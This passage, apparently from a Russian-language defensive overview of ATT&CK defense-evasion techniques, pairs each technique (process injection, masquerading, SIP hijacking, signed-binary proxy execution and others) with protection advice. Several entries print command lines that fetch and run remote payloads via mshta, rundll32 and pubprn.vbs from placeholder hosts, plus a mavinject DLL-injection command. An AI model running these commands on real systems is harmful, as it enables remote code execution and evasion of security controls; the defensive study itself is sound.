HKEY_LOCAL_MACHINE [HKEY_CURRENT_USER]
\SOFTWARE[\Policies]\Microsoft\SystemCertificates\Root\Certificates

Существует подмножество постоянно используемых в Windows-системах корневых сертификатов, которые можно использовать при мониторинге:

• 18F7C1FCC3090203FD5BAA2F861A754976C8DD25;
• 245C97DF7514E7CF2DF8BE72AE957B9E04741E85;
• 3B1EFD3A66EA28B16697394703A72CA340A05BD5;
• 7F88CD7223F3C813818C994614A89C99FA3B5247;
• 8F43288AD272F3103B6FB1428485EA3014C0BCFE;
• A43489159A520F0D93D032CCAF37E7FE20A8B419;
• BE36A4562FB2EE05DBB3D32323ADF445084ED656;
• CDD4EEAE6000AC7F40C3802C171E30148030C072.

InstallUtil

Система: Windows

Права: Пользователь
Описание: InstallUtil — утилита командной строки Windows, которая может устанавливать и удалять приложения, соответствующие спецификациям .NET Framework. Installutil автоматически устанавливается вместе с VisualStudio. Файл InstallUtil.exe подписан сертификатом Microsoft и хранится в:

C:\Windows\Microsoft.NET\Framework\v[version]\InstallUtil.exe

Злоумышленники могут использовать функционал InstallUtil для прокси-выполнения кода и обхода белых списков приложений.

Рекомендации по защите: Возможно в вашей системе не используется InstallUtil, поэтому рассмотрите возможность блокировки запуска InstallUtil.exe.

LC_MAIN Hijacking

Система: macOS
Права: Пользователь, Администратор
Описание: Начиная с OS X 10.8 в исполняемые файлы mach-O включен заголовок LC_MAIN, который указывает на точку входа бинарного кода для его выполнения. В более ранних версиях использовались два заголовка LC_THREAD и LC_UNIXTHREAD. Точка входа для бинарника может быть модифицирована и первоначально будет выполнено вредоносное добавление, а затем исполнение вернётся к исходной точке, чтобы жертва ничего не заметила. Такая модификация бинарных файлов является способом обхода белого списка приложений, потому что имя файла и путь к приложению останутся без изменений.

Рекомендации по защите: Используйте приложения, имеющие только валидные цифровые подписи доверенных разработчиков. Модификация заголовка LC_MAIN сделает подпись файла недействительным и изменит контрольную сумму файла.

Launchctl

Система: macOS
Права: Пользователь, администратор
Описание: Launchctl — утилита для управления сервисом Launchd. С помощью Launchctl можно управлять системными и пользовательскими сервисами (LaunchDeamons и LaunchAgents), а также выполнять команды и программы. Launchctl поддерживает подкоманды в командной строке, интерактивные или перенаправленные со стандартного ввода:

launchctl submit -l [labelname] — /Path/to/thing/to/execute "arg" "arg" "arg".

Запуская и перезапуская сервисы и демоны злоумышленники могут выполнить код и даже обойти белый список, если launchctl является разрешенным процессом, однако загрузка, выгрузка и перезагрузка сервисов и демонов может требовать повышенных привилегий.

Рекомендации по защите: Ограничение прав пользователей на создание Launch Agents и запуск Launch Deamons с помощью групповой политики. С помощью приложения *KnockKnock* можно обнаружить программы, которые используют launchctl для управления Launch Agents и Launch Deamons.

Маскарадинг (Masquerading)

Система: Windows, Linux, macOS
Описание: Маскарадинг происходит когда имя или местоположение исполняемого файла, законного или вредоносного, подвергаются различным манипуляциям и злоупотреблениям с целью обхода защиты. Известно несколько вариантов маскарадинга.
Один вариант заключается в том, чтобы исполняемый файл был помещен в общепринятый каталог или получил имя законной, доверенной программы. Имя файла может быть похоже на название законной программы. Такой способ маскировки применяется для обхода инструментов, которые доверяют файлам полагаясь на имя или путь к файлу, а так же для обмана системных администраторов.

Windows
Другой вариант максировки — это использлвание злоумышленником переименованной модифицированой копии законной утилиты, такой как rundll32.exe. При этом законная утилита может быть перемещена в другой каталог и

переименована, чтобы избежать обнаружения, основанного на мониторинге запуска системных утилит из нестанадртных раположений.
Примером злоупотребления доверенными директориями в Windows является каталог C:\Windows\System32. Имена доверенных системных утилит, таких как explorer.exe или svchost.exe могут быть присвоены вредоносным бинарникам.

Linux
Следующий способ маскировки заключается в применении вредоносных двоичных файлов, которые после запуска меняют имя своего процесса на имя законного, надежного процесса. Примером доверенной директории в Linux будет каталог /bin, а доверенными именами могут выступать такие имена как rsyncd или dbus-inotifier.

Рекомендации по защите: Создавая различные правила безопасности избегайте исключений на основе имени и пути к файлу. Требуйте подписания двоичных файлов. Используйте средства контроля доступа к файловой системе для защиты доверенных директорий, таких как C:\Windows\System32. Не используйте инструменты ограничения выполнения программ на основе имени или пути к файлу.

Идентифицируйте и блокируйте потенциально-опасное и вредоносное ПО, которое может выглядеть как законная программа.

Модификация реестра (Modify Registry)

Система: Windows
Права: Пользователь, администратор, system
Описание: Злоумышленники могут модифицировать реестр чтобы скрыть информацию в ключах реестра или удалить информацию в процессе зачистки следов вторжения или на других этапах атаки.

Доступ к определенным областям реестра зависит от разрешений учетной записи. Встроенная утилита Reg может использоваться как для локальной так и для удаленной модификации реестра. Могут быть использованы и другие инструменты удаленного доступа, которые взаимодействуют с реестром посредством Windows API.

Изменения реестра могут включать в себя действия по сокрытию ключей, например, с помощью добавления ключей с имененем из нулевого символа. Чтение такого ключа через Reg или API закончится ошибкой или будет проигнарировано. Злоумышленники могут испольовать такие скрытые псевдоключи, чтобы скрыть полезнубю нагрузку и команды, используемые в ходе закрепления в системе.

Реестр удаленной системы также может быть изменён, если в целевой системе активна служба Remote Regisry service. Как правило, злоумышленнику также необходимы действующие учетные данные, а также доступ к Windows Admin Shares для использования RPC.

Рекомендации по защите: Неправильная настройка разрешений в реестре может привести к тому, что злоумышленник сможет выполнить произвольный код (Service Registry Permissions Weakness). Убедитесь, что пользователи не могут изменять ключи системных компонентов. Заблокируйте ненужные системные утилиты и другое ПО, которое может быть использовано для изменения реестра. Рассмотрите возможность включения аудита реестра (Event ID4657), но имейте ввиду, что изменения реестра, выполненные с помощью таких средств как RegHide, не будут зарегистрированы службой сбора событий ОС.

Mshta

Система: Windows
Права: Пользователь
Описание: Mshta.exe (расположена в *C:\Windows\System32*\) — это утилита, которая выполняет приложения Microsoft HTML (*.HTA). HTA-приложения выполняются с использованием тех же технологий, которые использует InternetExplorer, но вне браузера. В связи с тем, что Mshta обрабатывает файлы в обход настроек безопасности браузера злоумышленники могут использовать mshta.exe для прокси-выполнения вредоносных HTA-файлов, Javascript или VBScript. Вредоносный файл можно запустить через встроенный скрипт:

mshta vbscript:Close(Execute(«GetObject(»«script:https[:]//webserver/payload[.]sct»")"))

или напрямую, по URL-адресу:

mshta http[:]//webserver/payload[.]hta

Рекомендации по защите: Функциональность mshta.exe связана со старыми версиями IE, достигшими конца жизненного цикла. Блокируйте Mshta.exe, если не используете его функциональность.

NTFS-атрибуты файла (NTFS File Attributes)

Система: Windows
Описание: NTFS-раздел содержит таблицу Master File Table (MFT), в которой хранятся данные о содержимом тома, строки соответствуют файлам, а столбцы их атрибутам, включая такие атрибуты, как Расширенные атрибуты (Extended attributes (EA) — строка размером 64кб) и Альтернативные потоки (Alternate Data Streams (ADS) — метаданные произвольного размера), которые могут использоваться для хранения любых данных. Злоумышленники могут хранить вредоносные данные и двоичные файлы в расширенных атрибутах и метаданных файлов. Эта техника позволяет обойти некоторые средства защиты, такие как инструменты сканирования на основе статичных индикаторов и некоторые антивирусные средства.

Рекомендации по защите: Блокировка доступа к EA и ADS может быть довольно сложной и нецелесообразной и, кроме того, привести к нестабильной работе стандартного функционала ОС. Направьте вектор защиты на предотвращение запуска ПО, с помощью которого можно скрыть информацию в EA и ADS.

Удаление подключений к сетевым ресурсам (Network Share Connection Removal)

Система: Windows
Права: Администратор, пользователь
Описание: Подключения к сетевым папкам и Windows Admin Share могут быть удалены, если они больше не требуются. Net — это пример утилиты, которая может использоваться для удаления сетевых подключений: *net use \system\share /delete*. Противники могут удалять сетевые подключения, которые им не нужны для очистки следов вторжения.

Рекомендации по защите: Следуйте лучшим практикам по организации Windows Admin Shares. Определите ненужные системные утилиты и ПО, которое может использоваться для подключения к общим сетевым ресурсам и рассмотрите возможность аудита его использования или блокирования.

Обфускация файлов или информации (Obfuscated Files or Information)

Система: Windows, Linux, macOS
Описание: Злоумышленники могут применять шифрование, кодирование и всевозможные методы обфускации файлов и их содержимого в системе или при их передаче.
Полезные нагрузки могут быть заархивированы или зашифрованы, иногда для их деобфускации и последующего запуска требуется какое-то действие пользователя, например ввести пароль для открытия архива, подготовленного злоумышленником.

Чтобы скрыть строки простого текста закодированными могут быть и части файлов. Полезные нагрузки могут быть разделены на отдельные «доброкачественные» файлы, которые при сборке в единое целое выполняют вредоносный функционал.

Противники могут также запутывать команды, вызываемые из полезных нагрузок напрямую или через интерфейс командной строки. Переменные среды, псевдонимы и символы, характерные для семантики платформы или языка, могут использоваться для обхода обнаружения вредоносного кода на основе сигнатур и белых списков.

Ещё одним примером обфускации является использование стеганографии — техники скрытия данных или кода в изображениях, звуковых дорожках, видео и текстовых файлах.

Рекомендации по защите: Применяйте средства анализа и обнаружения вредоносного кода, которые выполняют проверку не только самого исходного кода, но и анализируют процессе выполнения команд. В Windows 10 такая функциональность представлена в виде Antimalware Scan Interface (AMSI).

Наличие в командах экранирующих символов, таких как ^ или ", может служить индикатором обфускации. С помощью Windows Sysmon и события Event ID 4688 можно просмотреть аргументы команд, выполняемых в различных процессах.

Обфускация, используемая в полезных нагрузках на этапе первоначального доступа, может быть обнаружена в сети с помощью IDS-системы и шлюзов безопасности электронной почты, идентифицирующих сжатые, зашифрованные данные и скрипты во вложенных файлах. Выявление полезных нагрузок, передаваемых по зашифрованному соединению с веб-сайта, может осуществляться с помощью инспекции зашифрованного трафика.

Модификация Plist (Plist Modification)

Система: macOS
Права: Пользователь, Администратор
Описание: Злоумышленники могут модифицировать plist-файлы, указывая в них собственный код для его исполнения в контексте другого пользователя. Файлы свойств plist, расположенные в /Library/Preferences выполняются с повышенными привилегиями, а plist из ~/Library/Preferences выполняются с привилегиями пользователя.

Рекомендации по защите: Предотвратите изменение файлов plist, сделав их доступными только на чтение.

Port Knocking

Система: Linux, macOS
Права: Пользователь
Описание: Злоумышленники могут применять методы Port Knocking для скрытия открытых портов, которые они используют для соединения с системой.

Рекомендации по защите: Применение stateful-брандмауэров может предотвратить реализацию некоторых вариантов Port Knocking.

Process Doppelganging

Система: Windows
Права: Пользователь, Администратор, System
Описание: Транзакционная NTFS (TxF) — технология, представленная впервые в Vista, позволяющая проводить файловые операции при помощи транзакций. В TxF только один транзакционный дескриптор может записывать файл в данный момент, все остальные дескрипторы будут изолированы и смогут прочитать только зафиксированную в момент открытия версию файла. Если система или приложение рушиться, то TxF выполнит автоматический откат изменений в файле. TxF по прежнему включен в Windows 10.

Техника Process Doppelganging (с немец. «двухступенчатая передача», «двойной ход») предполагает использование недокументированных функций WinAPI и реализуется в 4 шага:

1. Транзакция. Создается NTFS-транзакция с использованием атакуемого исполняемого файла, в рамках транзакции создаётся временная модифицированная версия исполняемого файла.
2. Загрузка. Создается общий раздел в памяти, в который загружается модифицированная версия исполняемого файла.
3. Откат. Выполняется откат NTFS-транзакции, в результате чего исходный атакуемый файл сохраняется на диске в первоначальном виде.
4. Анимация. Используя модифицированную версию исполняемого файла, которая осталась в оперативной памяти, создаётся процесс и запускается его выполнение.

Таким образом вредоносный код будет работать в контексте легитимного доверенного процесса. Учитывая, что атака происходит только в памяти, т.к. NTFS-транзакция не завершается, а «откатывается», никаких следов вредоносной активности на диске не останется.

Рекомендации по защите: Профилактические меры защиты в виде попыток блокировки некоторых вызовов API скорее всего будут иметь негативные побочные эффекты. Вектор защиты необходимо направлять на предотвращение запуска инструментов злоумышленников на более ранних этапах цепочки атаки. Doppelganging может использоваться для обхода средств защиты, однако хорошей практикой по прежнему остаётся блокировка потенциально-опасных приложений и ограничение используемого ПО с помощью белых списков. Обнаружение

атаки выполняется с помощью анализа вызовов API-функций CreateTransaction, CreateFileTransacted, RollbackTransaction, недокументированных функций типа NTCreateProcessEX, NtCreateThreadEX, а также API-вызовов, используемых для изменения памяти в другом процессе, например WriteProcessMemory.

Выдалбливание процесса (Process Hollowing)

Система: Windows
Права: Пользователь
Описание: Атака осуществляется путём подмены образа исполняемого файла процесса во время приостановки выполнения процесса. Входит в десятку основных техник инъекцирования процессов.

Рекомендации по защите: Профилактические меры защиты в виде попыток блокировки некоторых вызовов API скорее всего будут иметь негативные побочные эффекты. Вектор защиты необходимо направлять на предотвращение запуска инструментов злоумышленников на более ранних этапах цепочки атаки. Process Hollowing может использоваться для обхода средств защиты, однако хорошей практикой по прежнему остаётся блокировка потенциально-опасных приложений и ограничение используемого ПО с помощью белых списков.

Инъекция кода в процесс (Process Injection), Ten Process Injection Techniques

Система: Windows, Linux, macOS
Права: Пользователь, администратор, system, root
Описание: Процессные инъекции — это метод выполнения произвольного кода в адресном пространстве отдельно живущего процесса. Запуск кода в контексте другого процесса позволяет получить доступ к памяти инъекцируемого процесса, системным/сетевым ресурсам и, возможно, повышенные привилегии. Процессные инъекции также могут использоваться во избежание возможного обнаружения вредоносной активности средствами безопасности. Техники реализации инъекций в процессы основны на злоупотреблении различными механизмами, обеспечивающими многопоточность выполнения программ в ОС. Далее рассмотрены некоторые подходы к выполнению инъекции кода в процесс.

Windows
• DLL-инъекции. Выполняются посредством записи пути к вредоносной DLL внутрь процесса с её последующим выполнением путём создания удаленного потока (Remote thread — поток, который работает в виртуальном адресном пространстве другого процесса). Иными словами, вредоносное ПО записывает на диск DLL, а затем использует функцию подобную CreateRemoteTread, с помощью которой будет вызвана функция LoadLibrary в инъекцируемом процессе.
• PE-инъекции (Portable executable injection) основаны на злоупотреблении особенностями выполнения в памяти PE-файлов, таких как DLL или EXE. Вредоносный код записывается в процесс без записи каких-либо файлов на диске, а затем с помощью дополнительного кода или путем создания удаленного потока вызывается его исполнение.
• Захват выполнения потока (Thread execution hijacking) включает в себя инъекции вредоносного кода или пути к DLL напрямую в поток процесса. Подобно технике Process Hollowing, поток сначала должен быть приостановлен.
• Инъекции в процедуры асинхронного вызова (Asynchronous Procedure Call (APC) injection) предполагают вложение вредоносного кода в очередь APC-процедур (APC Queue) потока процесса. Один из способов APC-инъекций, получивший название «Инъекция ранней пташки (Earle Bird injection)», предполагает создание приостановленного процесса в котором вредоносный код может быть записан и запущен до точки входа процесса через APC. AtomBombing — это другой вариант инъекции, который использует APC для вызова вредоносного кода, ранее записанного в глобальную таблицу атомов (Global atom table).
• Инъекции в локальное хранилище потока (Thread Local Storage (TLS) injection) предполагают манипуляции с указателями памяти внутри исполняемого PE-файла для перенаправления процесса на вредоносный код.

Mac и Linux
• Системные переменные LD_RPELOAD, LD_LIBRARY_PATH (Linux), DYLIB_INSERT_LIBRARIES (macOS X) или интерфейс прикладного программирования dlfcn (API) могут использоваться для динамической загрузки библиотеки (общего объекта) в процесс, который в свою очередь может использоваться для перехвата вызовов API из запущенных процессов.
• Системный вызов Ptrace может использоваться для подключения к запущенному процессу и изменения во время его выполнения.
• /proc/[pid]/mem обеспечивает доступ к памяти процесса и может использоваться для чтения/записи произвольных данных, однако такой метод редко применяется из-за сложности его реализации.
• Захват VDSO (Virtual dynamic shared object) позволяет осуществить инъекцию кода во время исполнения двоичных

файлов ELF, манипулируя заглушками кода из linux-vdso.so.
Вредоносные программы обычно используют инъекции кода в процесс для доступа к системным ресурсам, благодаря которым злоумышленник может закрепиться в системе и выполнять другие изменения в атакуемой среде. Более сложные образцы могут выполнять множественные инъекции процессов для затруднения своего обнаружения.

Рекомендации по защите: Методы инъекцирования кода в процессы основаны на злоупотреблении штатными функциями ОС прямое воздействие на которые может привести к нестабильной работе законного ПО и продуктов безопасности. Усилия по предотвращению применения техник перехвата необходимо сосредоточить на более ранних этапах цепочки атаки. Применяйте инструменты блокировки потенциально-опасного ПО, такие как AppLocker. Применяйте Yama в качестве превентивной меры от инъекций кода в ptrace, ограничив использование ptrace только привилегированными пользователями. Дополнительные меры защиты могут включать развертывание модулей безопасности ядра, обеспечивающих расширенный контроль доступа и ограничение процессов. К таким средствам относятся SELinux, grsecurity, AppArmor.

Резервный доступ (Redundant Access)

Система: Windows, Linux, macOS
Права: Пользователь, администратор, System
Описание: Злоумышленники могут одновременно использовать несколько средств удаленного доступа с различными протоколами управления с целью диверсификации рисков обнаружения. Так, если один из инструментов удаленного доступа обнаружен и заблокирован, но защищающая сторона не выявила всех инструментов злоумышленника, то удаленный доступ в атакуемую сеть будет по-прежнему сохранен. Атакующие так же могут пытаться получить доступ к валидным учетным записям удаленных корпоративных сервисов, типа VPN, для получения альтернативного доступа в систему в случае блокировки основных инструментов удаленного доступа. Использование web-shell так же является одним из способов удаленного доступа в сеть через web-сервер.

Рекомендации по защите: Осуществляйте мониторинг наличия и блокирование запуска в вашей сети известных средств удаленного доступа (AmmyAdmin, Radmin, RemotePC, VNC и т.п.), применяйте инструменты контроля запуска приложений и блокирования потенциально-опасного ПО. Внедрение IDS и IPS систем, которые с помощью сигнатур выявляют конкретные вредоносные программы, снизит вероятность успешной атаки, однако со временем злоумышленники будут модифицировать свои инструменты для изменения сигнатуры и, как следствия, обхода IDS и IPS систем.

Regsvcs/Regasm

Система: Windows
Права: Пользователь, администратор
Описание: Regsvcs и Regasm — это служебные утилиты Windows, используемые для регистрации в системе сборок .NET Component Object Model (COM). Оба файла подписаны цифровой подписью Microsoft. Злоумышленники могут использовать Regsvcs и Regasm для прокси-выполнения кода, когда в качестве атрибута указывается код, который должен быть запущен до регистрации или отмены регистрации: [ComRegisterFunction] или [ComUnregisterFunction]. Код с такими атрибутами может быть запущен даже если процесс выполняется с недостаточными привилегиями или вовсе «падает» при старте.

Рекомендации по защите: Заблокируйте Regsvcs.exe и Regasm.exe если они не используются в вашей системе или сети.

Rootkit

Система: Windows, Linux, macOS
Права: Администратор, System, root
Описание: Rootkits — это программы, которые скрывают наличие вредоносного ПО путем перехвата и изменения вызовов API. Руткиты могут работать на уровне пользователя, ядра ОС или ещё ниже, на уровне гипервизора, MBR или системной прошивки. Противники используют руткиты для скрытия присутствия программ, файлов, сетевых подключений, драйверов и других компонентов ОС.

Рекомендации по защите: Идентифицируйте и блокируйте потенциально-опасное ПО, которое может содержать руткиты с помощью инструментов организации белых списков ПО, антивирусных средств или встроенных средств защиты ОС.

Rundll32 (Poweliks)

Система: Windows
Права: Пользователь
Описание: Rundll32.exe — это системная утилита для запуска программ, находящихся в динамически подключаемых библиотеках, может вызываться для прокси-выполнения двоичного файла, выполнения файлов элементов управления Windows (.cpl) через недокументированные функции shel32.dll — *Control_RunDLL* и *Control_RunDLLAsUser*. Двойной клик по файлу .cpl также вызывает выполнение Rundll32.exe. Rundll32 также может использоваться для выполнения сценариев, таких как JavaScript:

rundll32.exe
javascript:"\..\mshtml,RunHTMLApplication";document.write();GetObject(«scrirpt:https[:]//www[.]example[.]com/malicious.sct»)"

Вышеописанный метод использования rundll32.exe детектируется антивирусным программным обеспечением, как вирус типа Poweliks.

Рекомендации по защите: Attack Surface Reduction (ASR) в EMET и Advanced Theart Protection в Защитнике Windows могут обеспечить блокировку использования Rundll32.exe для обхода белых списков.

Захват SIP и Trust Provider (SIP and Trust Provider Hijacking) или Subverting Trust in Windows

Система: Windows
Права: Администратор, System
Описание: Злоумышленники могут модифицировать компоненты архитектуры подписания и проверки цифровой подписи кода Windows, чтобы обойти средства контроля запуска программ, которые разрешают запускать только подписанный код. Для создания, подписания и проверки подписи файлов различных форматов в Windows используются так называемые *Subject Interface Package (SIP)* — уникальные для каждого типа файла программные спецификации, с помощью которых обеспечивается взаимодействие между API-функциями, которые инициируют создание, вычисление и проверку подписей и непосредственно файлами. Валидность же подписи подтверждается с помощью так называемых *Trust Provider* — это программные компоненты ОС, осуществляющие различные процедуры, связанные с вычислением и проверкой цифровых подписей.

Популярные методы совершения атаки:

- Модификация ключей *DLL* и *FuncName* в разделе *CryptSIPDllGetSignedDataMsg*:
  HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllGetSignedDataMsg\[SIP_GUID].
  Выполняется с целью подмены DLL-библиотеки, предоставляющей функцию *CryptSIPDllGetSignedDataMSG*, которая возвращает закодированный цифровой сертификат из подписанного файла. Подложная функция может всегда возвращать заранее известное валидное значение сигнатуры (например, подпись Microsoft для исполняемых системных файлов) при использовании модифицированного SIP. Атакующий может пытаться применять одну валидную сигнатуру для всех файлов, однако, вероятнее всего, это приведёт к недействительности сигнатуры, так как хэш, возвращаемый функцией, не будет совпадать с хэшем, вычисленным из файла.
- Модификация ключей *DLL* и *FuncName* в разделе:
  HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptSIPDllVerifyIndirectData/[SIP_GUID].
  Выполняется с целью подмены DLL-библиотеки, предоставляющей функцию *CryptSIPDllVerifyIndirectData*, которая выполняет сверку хэша, вычисленного из файла, с хэшем, указанным в цифровой подписи, и возвращает результат сверки (True/False). Таким образом, атакующий может обеспечить успешную проверку любого файла с использованием модифицированного SIP. Вышеуказанные значения ключей могут перенаправлять на подходящую функцию из уже существующей библиотеки, таким образом исключая необходимость создания на диске нового DLL-файла.
- Модификация ключей *DLL* и *FuncName* в разделе:
  HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\Providers\Trust\FinalPolicy/[Trust Provider GUID].
  Выполняется с целью подмены DLL-библиотеки, предоставляющей функцию FinalPolicy для определенного Trust Provider, которая декодирует, анализирует подпись и принимает решение о доверии. По аналогии с CryptSIPDllVerifyIndirectData, значение вышеуказанных ключей может перенаправлять на уже существующую DLL-библиотеку.

Важно отметить, что описанную атаку на механизм доверия Windows можно осуществить с помощью техники перехвата поиска DLL (DLL Search Order Hijacking).

Рекомендации по защите: Убедитесь, что пользователи защищаемой системы не могут изменять ключи реестра, относящиеся к компонентам SIP и Trust Provider. Рассмотрите возможность удаления ненужных и устаревших SIP. Используйте всевозможные средства блокирования загрузки вредоносных DLL, например, встроенные в Windows AppLocker и DeviceGuard.

Скриптинг (Scripting)

Система: Windows, Linux, macOS
Права: Пользователь
Описание: Злоумышленники могут использовать скрипты для автоматизации своих действий, ускорения операционных задач и, как следствие, сокращения времени, необходимого для получения доступа. Некоторые скриптовые языки могу использоваться для обхода механизмов мониторинга процессов путем непосредственного взаимодействия с ОС на уровне API вместо вызова других программ. Скрипты могут быть встроены в документы Office в виде макросов и затем использованы для фишинговой атаки. В этом случае злоумышленники рассчитывают на запуск пользователем файла с макросом или на то, что пользователь согласится активировать макрос. Существует несколько популярных фреймворков для реализации скриптинга — Metasploit, Veil, PowerSploit.

Рекомендации по защите: Ограничивайте доступ к сценариям, таким как VBScript или PowerShell. В Windows настройте параметры безопасности MS Office включив защищенный просмотр и запрет макросов через GPO. Если макросы нужны, то разрешите запуск только подписанных доверенной цифровой подписью макросов. Применяйте микросегментацию и виртуализацию приложений, например, Sandboxie для Windows и Apparmor, Docker для Linux.

Прокси-выполнение кода через подписанные бинарники (Signed Binary Proxy Execution)

Система: Windows
Права: Пользователь
Описание: Бинарные файлы, подписанные доверенными цифровыми сертификатами, могут выполняться в системах Windows, защищенных проверкой цифровой подписи. Несколько файлов Microsoft, подписанных по умолчанию при установке Windows, могут быть использованы для проксирования запуска других файлов:

• Mavinject.exe — это утилита Windows, которая позволяет выполнять код. Mavinject может использоваться для ввода DLL в запущенный процесс:
«C:\Program Files\Common Files\microsoft shared\ClickToRun\MavInject32.exe» [PID] /INJECTRUNNING [PATH DLL]; C:\Windows\system32\mavinject.exe [PID] /INJECTRUNNING [PATH DLL];
• SyncAppvPublishingServer.exe — может использоваться для запуска powershell-скриптов без запуска powershell.exe.
Существует ещё *несколько аналогичных бинарников*.

Рекомендации по защите: Многие подписанные файлы могут не использоваться в вашей системе, поэтому рассмотрите возможность блокирования их запуска.

Прокси-выполнение кода через подписанные сценарии (Signed Script Proxy Execution)

Система: Windows
Права: Пользователи
Описание: Скрипты, подписанные доверенными сертификатами, могут использоваться для проксирования вредоносных файлов, например, файл *PubPrn.vbs* подписан сертификатом Microsoft и может использоваться для запуска файла с удаленного сервера:
cscript C:\Windows\System32\Printing_Admin_Scripts\ru-RU\pubprn.vbs 127.0.0.1 script:http[:]//192.168.1.100/hi.png

Рекомендации по защите: Подобные подписанные скрипты могут не требоваться в вашей системе, поэтому рассмотрите возможность блокирования их запуска.

Упаковка софта (Software Packing)

Система: Windows

Описание: Упаковка программ предполагает применение противником методов сжатия или шифрования исполняемых файлов, в результате которых меняется контрольная сумма файла, что позволяет избежать обнаружения на основе поиска статических сигнатур. Большинство методов декомпрессии распаковывают исполняемый код в памяти. Примерами популярных утилит — упаковщиков исполняемых файлов являются MPRESS и UPS, однако известно целое множество других упаковщиков, кроме того, противники могут создавать свои собственные методы упаковки, которые не будут оставлять такие артефакты, как и известные упаковщики. Упаковка исполняемых файлов не является однозначным индикатором вредоносных программ, поскольку разработчики законного ПО могут применять методы упаковки для уменьшения размера дистрибутива или защиты проприетарного кода.

Рекомендации по защите: Обновляйте средства антивирусной защиты, создавайте пользовательские сигнатуры для обнаружения вредоносных программ, применяйте эвристические методы обнаружения. Идентифицируйте и блокируйте потенциально-опасное ПО.

Пробел после имени файла (Space after Filename)

Система: Linux, macOS
Права: Пользователь
Описание: Злоумышленники могут скрывать истинный тип файла, изменяя его расширение. При определённых типах файлов (не работает с файлами .app) добавление символа пробела в конец имени файла изменит способ обработки файла операционной системой. Например, если есть исполняемый файл Mach-O с именем evil.bin, то при двойном щелчке пользователем ОС запустит Terminal.app и выполнит его. Если этот же файл переименовать в evil.txt, то при двойном щелчке он запуститься в текстовом редакторе. Однако, если файл переименовать в «evil.txt » (пробел в конце), то при двойном щелчке тип истинного файла определиться ОС и запустится двоичный файл. Злоумышленники могут использовать эту технику для обмана пользователя и запуска им вредоносного исполняемого файла.

Рекомендации по защите: Использование этой техники трудно предотвратить, т.к. злоумышленник использует штатные механизмы работы ОС, поэтому вектор защиты необходимо направить на предотвращение вредоносных действий на более ранних этапах атаки, например, на стадии доставки или создания вредоносного файла в системе.

Timestomp

Система: Windows, Linux
Права: Пользователь, администратор, System
Описание: Timestomp — это изменение временных меток файла (изменение, доступ, создание). Зачастую методы таймстомпинга используются для маскировки файлов, которые были изменены или созданы злоумышленником, чтобы они не были заметными для судебных экспертов и инструментов форензики. Таймстомпинг может использоваться вместе с маскировкой имени файла, чтобы скрыть вредоносное ПО и инструменты злоумышленника.

Рекомендации по защите: Направьте вектор защиты на предотвращение запуска потенциально-опасного и вредоносного ПО. В форензике описаны методы организации средств обнаружения модификации временных меток с помощью сбора информации об открытии дескриптора файла и сопоставления её с временными метками указанными в файле.

Доверенные утилиты разработчиков софта (Trusted Developer Utilities)

Система: Windows
Права: Пользователь
Описание: Существует множество утилит, которые используются разработчиками ПО и которые могут быть использованы для выполнения кода в различной форме при разработке, отладке и реверс-инжиниринге ПО. Эти утилиты часто подписаны цифровыми сертификатами, которые позволяют им выполнять в ОС проксирование вредоносного кода в обход защитных механизмов и белых листов приложений.
• MSBulid — это платформа для создания ПО, используемая в Visual Studio. Она использует проекты в виде XML-файлов, которые описывают требования для построения различных платформ и конфигураций. MSBuild из .NET версии 4 позволяет вставить код C# в XML-проект, скомпилировать его и затем выполнить. MSBulid.exe подписан цифровым сертификатом Microsoft.
• DNX — .Net Execution Environmant (dnx.exe) представляет собой набор для разработки ПО (development kit) в

составе Visual Studio Enterprise. Упразднен начиная с .NET Core CLI в 2016 году. DNX отсутствует в стандартных сборках Windows и может присутствовать только на хостах разработчиков при использовании .Net Core и ASP.NET Core 1.0. Dnx.exe подписан цифровым сертификатом и может использоваться для прокси-выполнения кода.
• RCSI — не интерактивный командный интерфейс для C#, похож на csi.exe. Был представлен в ранней версии платформы компилятора Roslyn .Net. Rcsi.exe подписан цифровым сертификатом Microsoft. Файлы сценариев C# .csx могут быть записаны и выполнены с помощью Rcsi.exe в командной строке Windows.
• WinDbg/CDB — это ядро MS Windows и утилита для отладки в режиме user-mode. Отладчик консоли Microsoft cdb.exe также является отладчиком в режиме user-mode. Обе утилиты могут использоваться как автономные инструменты. Обычно используются при разработке ПО, реверс-инжиниринге и не могут быть найдены в обычных системах Windows. Оба файла WinDbg.exe и CDB.exe подписаны цифровым сертификатом Microsoft и могут использоваться для проксирования кода.
• Tracker — утилита отслеживания файлов tracker.exe. Включена в .NET как часть MSBuild. Используется для регистрации вызовов в файловой системе Windows 10. Злоумышленники могут использовать tracker.exe для выполнения DLL в различных процессах. Tracker.exe также подписан сертификатом Microsoft.

Рекомендации по защите: Все вышеописанные файлы подлежат удалению из системы, если они не используются по прямому назначению пользователями.

Valid Accounts

Описание: Злоумышленники могут украсть учетные данные определенного пользователя или учетную запись службы с помощью техник доступа к учетным данным, захватить учетные данные в процессе разведки с помощью социальной инженерии. Скомпрометированные учетные данные могут использоваться для обхода систем управления доступом и получения доступа к удаленным системам и внешним службам, таким как VPN, OWA, удаленный рабочий стол или получения повышенных привилегий в определенных системах и областях сети. В случае успешной реализации сценария злоумышленники могут отказаться от вредоносных программ, чтобы затруднить своё обнаружение. Так же злоумышленники могут создавать учетные записи используя заранее определенные имена и пароли для сохранения резервного доступа в случае неудачных попыток использования других средств.

Рекомендации по защите: Применение парольной политики, следование рекомендациям по проектированию и администрированию корпоративной сети для ограничения использования привилегированных учетных записей на всех административных уровнях. Регулярные проверки доменных, локальных учетных записей и их прав с целью выявления тех, которые могут позволить злоумышленнику получить широкий доступ. Мониторинг активности учетных записей с помощью SIEM-систем.

Web-сервис (Web Service)

Система: Windows
Права: Пользователь
Описание: Злоумышленники могут использовать запущенный, легитимный внешний Web-сервис в качестве средства передачи команд для управления зараженной системой. Серверы управления называют Command and control (C&C или C2). Популярные веб-сайты и социальные сети могут выступать в качестве механизма для C2, также могут применяться различные общедоступные сервисы типа Google или Twitter. Всё это способствует скрытию вредоносной активности в общем потоке трафика. Веб-сервисы обычно используют SSL/TLS, таким образом противники получают дополнительный уровень защиты.

